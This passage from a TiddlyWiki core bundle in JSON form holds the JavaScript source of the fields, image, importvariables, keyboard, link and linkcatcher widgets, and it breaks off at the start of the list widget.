"title": "$:/core/modules/widgets/fields.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/fields.js\ntype: application/javascript\nmodule-type: widget\n\nFields widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar FieldsWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nFieldsWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nFieldsWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar textNode = this.document.createTextNode(this.text);\n\tparent.insertBefore(textNode,nextSibling);\n\tthis.domNodes.push(textNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nFieldsWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.template = this.getAttribute(\"template\");\n\tthis.sort = this.getAttribute(\"sort\",\"yes\") === \"yes\";\n\tthis.sortReverse = this.getAttribute(\"sortReverse\",\"no\") === \"yes\";\n\tthis.exclude = this.getAttribute(\"exclude\");\n\tthis.include = this.getAttribute(\"include\",null);\n\tthis.stripTitlePrefix = this.getAttribute(\"stripTitlePrefix\",\"no\") === \"yes\";\n\t// Get the value to display\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle);\n\n\t// Get the inclusion and exclusion list\n\tvar excludeArr = (this.exclude) ? this.exclude.split(\" \") : [\"text\"];\n\t// Include takes precedence\n\tvar includeArr = (this.include) ? this.include.split(\" \") : null;\n\n\t// Compose the template\n\tvar text = [];\n\tif(this.template && tiddler) {\n\t\tvar fields = [];\n\t\tif (includeArr) { // Include takes precedence\n\t\t\tfor(var i=0; i<includeArr.length; i++) {\n\t\t\t\tif(tiddler.fields[includeArr[i]]) {\n\t\t\t\t\tfields.push(includeArr[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor(var fieldName in tiddler.fields) {\n\t\t\t\tif(excludeArr.indexOf(fieldName) === -1) {\n\t\t\t\t\tfields.push(fieldName);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (this.sort) fields.sort();\n\t\tif (this.sortReverse) fields.reverse();\n\t\tfor(var f=0, fmax=fields.length; f<fmax; f++) {\n\t\t\tfieldName = fields[f];\n\t\t\tvar row = this.template,\n\t\t\t\tvalue = tiddler.getFieldString(fieldName);\n\t\t\tif(this.stripTitlePrefix && fieldName === \"title\") {\n\t\t\t\tvar reStrip = /^\\{[^\\}]+\\}(.+)/mg,\n\t\t\t\t\treMatch = reStrip.exec(value);\n\t\t\t\tif(reMatch) {\n\t\t\t\t\tvalue = reMatch[1];\n\t\t\t\t}\n\t\t\t}\n\t\t\trow = $tw.utils.replaceString(row,\"$name$\",fieldName);\n\t\t\trow = $tw.utils.replaceString(row,\"$value$\",value);\n\t\t\trow = $tw.utils.replaceString(row,\"$encoded_value$\",$tw.utils.htmlEncode(value));\n\t\t\ttext.push(row);\n\t\t}\n\t}\n\tthis.text = text.join(\"\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nFieldsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif( changedAttributes.tiddler || changedAttributes.template || changedAttributes.exclude ||\n\t\tchangedAttributes.include || changedAttributes.sort || changedAttributes.sortReverse ||\n\t\tchangedTiddlers[this.tiddlerTitle] || changedAttributes.stripTitlePrefix) {\n\t\t\tthis.refreshSelf();\n\t\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n};\n\nexports.fields = FieldsWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/image.js": {
"title": "$:/core/modules/widgets/image.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/image.js\ntype: application/javascript\nmodule-type: widget\n\nThe image widget displays an image referenced with an external URI or with a local tiddler title.\n\n```\n<$image src=\"TiddlerTitle\" width=\"320\" height=\"400\" class=\"classnames\">\n```\n\nThe image source can be the title of an existing tiddler or the URL of an external image.\n\nExternal images always generate an HTML `<img>` tag.\n\nTiddlers that have a _canonical_uri field generate an HTML `<img>` tag with the src attribute containing the URI.\n\nTiddlers that contain image data generate an HTML `<img>` tag with the src attribute containing a base64 representation of the image.\n\nTiddlers that contain wikitext could be rendered to a DIV of the usual size of a tiddler, and then transformed to the size requested.\n\nThe width and height attributes are interpreted as a number of pixels, and do not need to include the \"px\" suffix.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ImageWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nImageWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nImageWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\t// Determine what type of image it is\n\tvar tag = \"img\", src = \"\",\n\t\ttiddler = this.wiki.getTiddler(this.imageSource);\n\tif(!tiddler) {\n\t\t// The source isn't the title of a tiddler, so we'll assume it's a URL\n\t\tsrc = this.getVariable(\"tv-get-export-image-link\",{params: [{name: \"src\",value: this.imageSource}],defaultValue: this.imageSource});\n\t} else {\n\t\t// Check if it is an image tiddler\n\t\tif(this.wiki.isImageTiddler(this.imageSource)) {\n\t\t\tvar type = tiddler.fields.type,\n\t\t\t\ttext = tiddler.fields.text,\n\t\t\t\t_canonical_uri = tiddler.fields._canonical_uri;\n\t\t\t// If the tiddler has body text then it doesn't need to be lazily loaded\n\t\t\tif(text) {\n\t\t\t\t// Render the appropriate element for the image type\n\t\t\t\tswitch(type) {\n\t\t\t\t\tcase \"application/pdf\":\n\t\t\t\t\t\ttag = \"embed\";\n\t\t\t\t\t\tsrc = \"data:application/pdf;base64,\" + text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"image/svg+xml\":\n\t\t\t\t\t\tsrc = \"data:image/svg+xml,\" + encodeURIComponent(text);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tsrc = \"data:\" + type + \";base64,\" + text;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else if(_canonical_uri) {\n\t\t\t\tswitch(type) {\n\t\t\t\t\tcase \"application/pdf\":\n\t\t\t\t\t\ttag = \"embed\";\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"image/svg+xml\":\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tsrc = _canonical_uri;\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\t\n\t\t\t} else {\n\t\t\t\t// Just trigger loading of the tiddler\n\t\t\t\tthis.wiki.getTiddlerText(this.imageSource);\n\t\t\t}\n\t\t}\n\t}\n\t// Create the element and assign the attributes\n\tvar domNode = this.document.createElement(tag);\n\tdomNode.setAttribute(\"src\",src);\n\tif(this.imageClass) {\n\t\tdomNode.setAttribute(\"class\",this.imageClass);\t\t\n\t}\n\tif(this.imageWidth) {\n\t\tdomNode.setAttribute(\"width\",this.imageWidth);\n\t}\n\tif(this.imageHeight) {\n\t\tdomNode.setAttribute(\"height\",this.imageHeight);\n\t}\n\tif(this.imageTooltip) {\n\t\tdomNode.setAttribute(\"title\",this.imageTooltip);\t\t\n\t}\n\tif(this.imageAlt) {\n\t\tdomNode.setAttribute(\"alt\",this.imageAlt);\t\t\n\t}\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nImageWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.imageSource = this.getAttribute(\"source\");\n\tthis.imageWidth = this.getAttribute(\"width\");\n\tthis.imageHeight = this.getAttribute(\"height\");\n\tthis.imageClass = this.getAttribute(\"class\");\n\tthis.imageTooltip = this.getAttribute(\"tooltip\");\n\tthis.imageAlt = this.getAttribute(\"alt\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nImageWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.source || changedAttributes.width || changedAttributes.height || changedAttributes[\"class\"] || changedAttributes.tooltip || changedTiddlers[this.imageSource]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\t\n\t}\n};\n\nexports.image = ImageWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/importvariables.js": {
"title": "$:/core/modules/widgets/importvariables.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/importvariables.js\ntype: application/javascript\nmodule-type: widget\n\nImport variable definitions from other tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ImportVariablesWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nImportVariablesWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nImportVariablesWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nImportVariablesWidget.prototype.execute = function(tiddlerList) {\n\tvar widgetPointer = this;\n\t// Get our parameters\n\tthis.filter = this.getAttribute(\"filter\");\n\t// Compute the filter\n\tthis.tiddlerList = tiddlerList || this.wiki.filterTiddlers(this.filter,this);\n\t// Accumulate the <$set> widgets from each tiddler\n\t$tw.utils.each(this.tiddlerList,function(title) {\n\t\tvar parser = widgetPointer.wiki.parseTiddler(title);\n\t\tif(parser) {\n\t\t\tvar parseTreeNode = parser.tree[0];\n\t\t\twhile(parseTreeNode && parseTreeNode.type === \"set\") {\n\t\t\t\tvar node = {\n\t\t\t\t\ttype: \"set\",\n\t\t\t\t\tattributes: parseTreeNode.attributes,\n\t\t\t\t\tparams: parseTreeNode.params,\n\t\t\t\t\tisMacroDefinition: parseTreeNode.isMacroDefinition\n\t\t\t\t};\n\t\t\t\tif (parseTreeNode.isMacroDefinition) {\n\t\t\t\t\t// Macro definitions can be folded into\n\t\t\t\t\t// current widget instead of adding\n\t\t\t\t\t// another link to the chain.\n\t\t\t\t\tvar widget = widgetPointer.makeChildWidget(node);\n\t\t\t\t\twidget.computeAttributes();\n\t\t\t\t\twidget.execute();\n\t\t\t\t\t// We SHALLOW copy over all variables\n\t\t\t\t\t// in widget. We can't use\n\t\t\t\t\t// $tw.utils.assign, because that copies\n\t\t\t\t\t// up the prototype chain, which we\n\t\t\t\t\t// don't want.\n\t\t\t\t\t$tw.utils.each(Object.keys(widget.variables), function(key) {\n\t\t\t\t\t\twidgetPointer.variables[key] = widget.variables[key];\n\t\t\t\t\t});\n\t\t\t\t} else {\n\t\t\t\t\twidgetPointer.makeChildWidgets([node]);\n\t\t\t\t\twidgetPointer = widgetPointer.children[0];\n\t\t\t\t}\n\t\t\t\tparseTreeNode = parseTreeNode.children && parseTreeNode.children[0];\n\t\t\t}\n\t\t} \n\t});\n\n\tif (widgetPointer != this) {\n\t\twidgetPointer.parseTreeNode.children = this.parseTreeNode.children;\n\t} else {\n\t\twidgetPointer.makeChildWidgets();\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nImportVariablesWidget.prototype.refresh = function(changedTiddlers) {\n\t// Recompute our attributes and the filter list\n\tvar changedAttributes = this.computeAttributes(),\n\t\ttiddlerList = this.wiki.filterTiddlers(this.getAttribute(\"filter\"),this);\n\t// Refresh if the filter has changed, or the list of tiddlers has changed, or any of the tiddlers in the list has changed\n\tfunction haveListedTiddlersChanged() {\n\t\tvar changed = false;\n\t\ttiddlerList.forEach(function(title) {\n\t\t\tif(changedTiddlers[title]) {\n\t\t\t\tchanged = true;\n\t\t\t}\n\t\t});\n\t\treturn changed;\n\t}\n\tif(changedAttributes.filter || !$tw.utils.isArrayEqual(this.tiddlerList,tiddlerList) || haveListedTiddlersChanged()) {\n\t\t// Compute the filter\n\t\tthis.removeChildDomNodes();\n\t\tthis.execute(tiddlerList);\n\t\tthis.renderChildren(this.parentDomNode,this.findNextSiblingDomNode());\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.importvariables = ImportVariablesWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/keyboard.js": {
"title": "$:/core/modules/widgets/keyboard.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/keyboard.js\ntype: application/javascript\nmodule-type: widget\n\nKeyboard shortcut widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar KeyboardWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nKeyboardWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nKeyboardWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.tag && $tw.config.htmlUnsafeElements.indexOf(this.tag) === -1) {\n\t\ttag = this.tag;\n\t}\n\t// Create element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = (this[\"class\"] || \"\").split(\" \");\n\tclasses.push(\"tc-keyboard\");\n\tdomNode.className = classes.join(\" \");\n\t// Add a keyboard event handler\n\tdomNode.addEventListener(\"keydown\",function (event) {\n\t\tif($tw.keyboardManager.checkKeyDescriptors(event,self.keyInfoArray)) {\n\t\t\tself.invokeActions(self,event);\n\t\t\tif(self.actions) {\n\t\t\t\tself.invokeActionString(self.actions,self,event);\n\t\t\t}\n\t\t\tself.dispatchMessage(event);\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nKeyboardWidget.prototype.dispatchMessage = function(event) {\n\tthis.dispatchEvent({type: this.message, param: this.param, tiddlerTitle: this.getVariable(\"currentTiddler\")});\n};\n\n/*\nCompute the internal state of the widget\n*/\nKeyboardWidget.prototype.execute = function() {\n\tvar self = this;\n\t// Get attributes\n\tthis.actions = this.getAttribute(\"actions\",\"\");\n\tthis.message = this.getAttribute(\"message\",\"\");\n\tthis.param = this.getAttribute(\"param\",\"\");\n\tthis.key = this.getAttribute(\"key\",\"\");\n\tthis.tag = this.getAttribute(\"tag\",\"\");\n\tthis.keyInfoArray = $tw.keyboardManager.parseKeyDescriptors(this.key);\n\tthis[\"class\"] = this.getAttribute(\"class\",\"\");\n\tif(this.key.substr(0,2) === \"((\" && this.key.substr(-2,2) === \"))\") {\n\t\tthis.shortcutTiddlers = [];\n\t\tvar name = this.key.substring(2,this.key.length -2);\n\t\t$tw.utils.each($tw.keyboardManager.lookupNames,function(platformDescriptor) {\n\t\t\tself.shortcutTiddlers.push(\"$:/config/\" + platformDescriptor + \"/\" + name);\n\t\t});\n\t}\n\t// Make child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nKeyboardWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.message || changedAttributes.param || changedAttributes.key || changedAttributes[\"class\"] || changedAttributes.tag) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\t// Update the keyInfoArray if one of its shortcut-config-tiddlers has changed\n\tif(this.shortcutTiddlers && $tw.utils.hopArray(changedTiddlers,this.shortcutTiddlers)) {\n\t\tthis.keyInfoArray = $tw.keyboardManager.parseKeyDescriptors(this.key);\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.keyboard = KeyboardWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/link.js": {
"title": "$:/core/modules/widgets/link.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/link.js\ntype: application/javascript\nmodule-type: widget\n\nLink widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar LinkWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nLinkWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nLinkWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Get the value of the tv-wikilinks configuration macro\n\tvar wikiLinksMacro = this.getVariable(\"tv-wikilinks\"),\n\t\tuseWikiLinks = wikiLinksMacro ? (wikiLinksMacro.trim() !== \"no\") : true,\n\t\tmissingLinksEnabled = !(this.hideMissingLinks && this.isMissing && !this.isShadow);\n\t// Render the link if required\n\tif(useWikiLinks && missingLinksEnabled) {\n\t\tthis.renderLink(parent,nextSibling);\n\t} else {\n\t\t// Just insert the link text\n\t\tvar domNode = this.document.createElement(\"span\");\n\t\tparent.insertBefore(domNode,nextSibling);\n\t\tthis.renderChildren(domNode,null);\n\t\tthis.domNodes.push(domNode);\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nLinkWidget.prototype.renderLink = function(parent,nextSibling) {\n\tvar self = this;\n\t// Sanitise the specified tag\n\tvar tag = this.linkTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"a\";\n\t}\n\t// Create our element\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = [];\n\tif(this.overrideClasses === undefined) {\n\t\tclasses.push(\"tc-tiddlylink\");\n\t\tif(this.isShadow) {\n\t\t\tclasses.push(\"tc-tiddlylink-shadow\");\n\t\t}\n\t\tif(this.isMissing && !this.isShadow) {\n\t\t\tclasses.push(\"tc-tiddlylink-missing\");\n\t\t} else {\n\t\t\tif(!this.isMissing) {\n\t\t\t\tclasses.push(\"tc-tiddlylink-resolves\");\n\t\t\t}\n\t\t}\n\t\tif(this.linkClasses) {\n\t\t\tclasses.push(this.linkClasses);\t\t\t\n\t\t}\n\t} else if(this.overrideClasses !== \"\") {\n\t\tclasses.push(this.overrideClasses)\n\t}\n\tif(classes.length > 0) {\n\t\tdomNode.setAttribute(\"class\",classes.join(\" \"));\n\t}\n\t// Set an href\n\tvar wikilinkTransformFilter = this.getVariable(\"tv-filter-export-link\"),\n\t\twikiLinkText;\n\tif(wikilinkTransformFilter) {\n\t\t// Use the filter to construct the href\n\t\twikiLinkText = this.wiki.filterTiddlers(wikilinkTransformFilter,this,function(iterator) {\n\t\t\titerator(self.wiki.getTiddler(self.to),self.to)\n\t\t})[0];\n\t} else {\n\t\t// Expand the tv-wikilink-template variable to construct the href\n\t\tvar wikiLinkTemplateMacro = this.getVariable(\"tv-wikilink-template\"),\n\t\t\twikiLinkTemplate = wikiLinkTemplateMacro ? wikiLinkTemplateMacro.trim() : \"#$uri_encoded$\";\n\t\twikiLinkText = $tw.utils.replaceString(wikiLinkTemplate,\"$uri_encoded$\",encodeURIComponent(this.to));\n\t\twikiLinkText = $tw.utils.replaceString(wikiLinkText,\"$uri_doubleencoded$\",encodeURIComponent(encodeURIComponent(this.to)));\n\t}\n\t// Override with the value of tv-get-export-link if defined\n\twikiLinkText = this.getVariable(\"tv-get-export-link\",{params: [{name: \"to\",value: this.to}],defaultValue: wikiLinkText});\n\tif(tag === \"a\") {\n\t\tdomNode.setAttribute(\"href\",wikiLinkText);\n\t}\n\t// Set the tabindex\n\tif(this.tabIndex) {\n\t\tdomNode.setAttribute(\"tabindex\",this.tabIndex);\n\t}\n\t// Set the tooltip\n\t// HACK: Performance issues with re-parsing the tooltip prevent us defaulting the tooltip to \"<$transclude field='tooltip'><$transclude field='title'/></$transclude>\"\n\tvar tooltipWikiText = this.tooltip || this.getVariable(\"tv-wikilink-tooltip\");\n\tif(tooltipWikiText) {\n\t\tvar tooltipText = this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",tooltipWikiText,{\n\t\t\t\tparseAsInline: true,\n\t\t\t\tvariables: {\n\t\t\t\t\tcurrentTiddler: this.to\n\t\t\t\t},\n\t\t\t\tparentWidget: this\n\t\t\t});\n\t\tdomNode.setAttribute(\"title\",tooltipText);\n\t}\n\tif(this[\"aria-label\"]) {\n\t\tdomNode.setAttribute(\"aria-label\",this[\"aria-label\"]);\n\t}\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"click\", handlerObject: this, handlerMethod: \"handleClickEvent\"},\n\t]);\n\t// Make the link draggable if required\n\tif(this.draggable === \"yes\") {\n\t\t$tw.utils.makeDraggable({\n\t\t\tdomNode: domNode,\n\t\t\tdragTiddlerFn: function() {return self.to;},\n\t\t\twidget: this\n\t\t});\n\t}\n\t// Insert the link into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nLinkWidget.prototype.handleClickEvent = function(event) {\n\t// Send the click on its way as a navigate event\n\tvar bounds = this.domNodes[0].getBoundingClientRect();\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.to,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: this,\n\t\tnavigateFromClientRect: { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: event.metaKey || event.ctrlKey || (event.button === 1),\n\t\tmetaKey: event.metaKey,\n\t\tctrlKey: event.ctrlKey,\n\t\taltKey: event.altKey,\n\t\tshiftKey: event.shiftKey\n\t});\n\tif(this.domNodes[0].hasAttribute(\"href\")) {\n\t\tevent.preventDefault();\n\t}\n\tevent.stopPropagation();\n\treturn false;\n};\n\n/*\nCompute the internal state of the widget\n*/\nLinkWidget.prototype.execute = function() {\n\t// Pick up our attributes\n\tthis.to = this.getAttribute(\"to\",this.getVariable(\"currentTiddler\"));\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis[\"aria-label\"] = this.getAttribute(\"aria-label\");\n\tthis.linkClasses = this.getAttribute(\"class\");\n\tthis.overrideClasses = this.getAttribute(\"overrideClass\");\n\tthis.tabIndex = this.getAttribute(\"tabindex\");\n\tthis.draggable = this.getAttribute(\"draggable\",\"yes\");\n\tthis.linkTag = this.getAttribute(\"tag\",\"a\");\n\t// Determine the link characteristics\n\tthis.isMissing = !this.wiki.tiddlerExists(this.to);\n\tthis.isShadow = this.wiki.isShadowTiddler(this.to);\n\tthis.hideMissingLinks = (this.getVariable(\"tv-show-missing-links\") || \"yes\") === \"no\";\n\t// Make the child widgets\n\tvar templateTree;\n\tif(this.parseTreeNode.children && this.parseTreeNode.children.length > 0) {\n\t\ttemplateTree = this.parseTreeNode.children;\n\t} else {\n\t\t// Default template is a link to the title\n\t\ttemplateTree = [{type: \"text\", text: this.to}];\n\t}\n\tthis.makeChildWidgets(templateTree);\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nLinkWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.to || changedTiddlers[this.to] || changedAttributes[\"aria-label\"] || changedAttributes.tooltip) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports.link = LinkWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/linkcatcher.js": {
"title": "$:/core/modules/widgets/linkcatcher.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/linkcatcher.js\ntype: application/javascript\nmodule-type: widget\n\nLinkcatcher widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar LinkCatcherWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.addEventListeners([\n\t\t{type: \"tm-navigate\", handler: \"handleNavigateEvent\"}\n\t]);\n};\n\n/*\nInherit from the base widget class\n*/\nLinkCatcherWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nLinkCatcherWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nLinkCatcherWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.catchTo = this.getAttribute(\"to\");\n\tthis.catchMessage = this.getAttribute(\"message\");\n\tthis.catchSet = this.getAttribute(\"set\");\n\tthis.catchSetTo = this.getAttribute(\"setTo\");\n\tthis.catchActions = this.getAttribute(\"actions\");\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n\t// When executing actions we avoid trapping navigate events, so that we don't trigger ourselves recursively\n\tthis.executingActions = false;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nLinkCatcherWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.to || changedAttributes.message || changedAttributes.set || changedAttributes.setTo) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\n/*\nHandle a tm-navigate event\n*/\nLinkCatcherWidget.prototype.handleNavigateEvent = function(event) {\n\tif(!this.executingActions) {\n\t\t// Execute the actions\n\t\tif(this.catchTo) {\n\t\t\tthis.wiki.setTextReference(this.catchTo,event.navigateTo,this.getVariable(\"currentTiddler\"));\n\t\t}\n\t\tif(this.catchMessage && this.parentWidget) {\n\t\t\tthis.parentWidget.dispatchEvent({\n\t\t\t\ttype: this.catchMessage,\n\t\t\t\tparam: event.navigateTo,\n\t\t\t\tnavigateTo: event.navigateTo\n\t\t\t});\n\t\t}\n\t\tif(this.catchSet) {\n\t\t\tvar tiddler = this.wiki.getTiddler(this.catchSet);\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(tiddler,{title: this.catchSet, text: this.catchSetTo}));\n\t\t}\n\t\tif(this.catchActions) {\n\t\t\tthis.executingActions = true;\n\t\t\tthis.invokeActionString(this.catchActions,this,event,{navigateTo: event.navigateTo});\n\t\t\tthis.executingActions = false;\n\t\t}\n\t} else {\n\t\t// This is a navigate event generated by the actions of this linkcatcher, so we don't trap it again, but just pass it to the parent\n\t\tthis.parentWidget.dispatchEvent({\n\t\t\ttype: \"tm-navigate\",\n\t\t\tparam: event.navigateTo,\n\t\t\tnavigateTo: event.navigateTo\n\t\t});\n\t}\n\treturn false;\n};\n\nexports.linkcatcher = LinkCatcherWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/list.js": {
"title": "$:/core/modules/widgets/list.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/list.js\ntype: application/javascript\nmodule-type: widget\n\nList and list item widgets\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\n/*\nThe list widget creates list element sub-widgets that reach back into the list widget for their configuration\n*/\n\nvar ListWidget = function(parseTreeNode,options) {\n\t// Initialise the storyviews if they've not been done already\n\tif(!this.storyViews) {\n\t\tListWidget.prototype.storyViews = {};\n\t\t$tw.modules.applyMethods(\"storyview\",this.storyViews);\n\t}\n\t// Main initialisation inherited from widget.js\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nListWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nListWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n\t// Construct the storyview\n\tvar StoryView = this.storyViews[this.storyViewName];\n\tif(this.storyViewName && !StoryView) {\n\t\tStoryView = this.storyViews[\"classic\"];\n\t}\n\tif(StoryView && !this.document.isTiddlyWikiFakeDom) {\n\t\tthis.storyview = new StoryView(this);\n\t} else {\n\t\tthis.storyview = null;\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nListWidget.prototype.execute = function() {\n\t// Get our attributes\n\tthis.template = this.getAttribute(\"template\");\n\tthis.editTemplate = 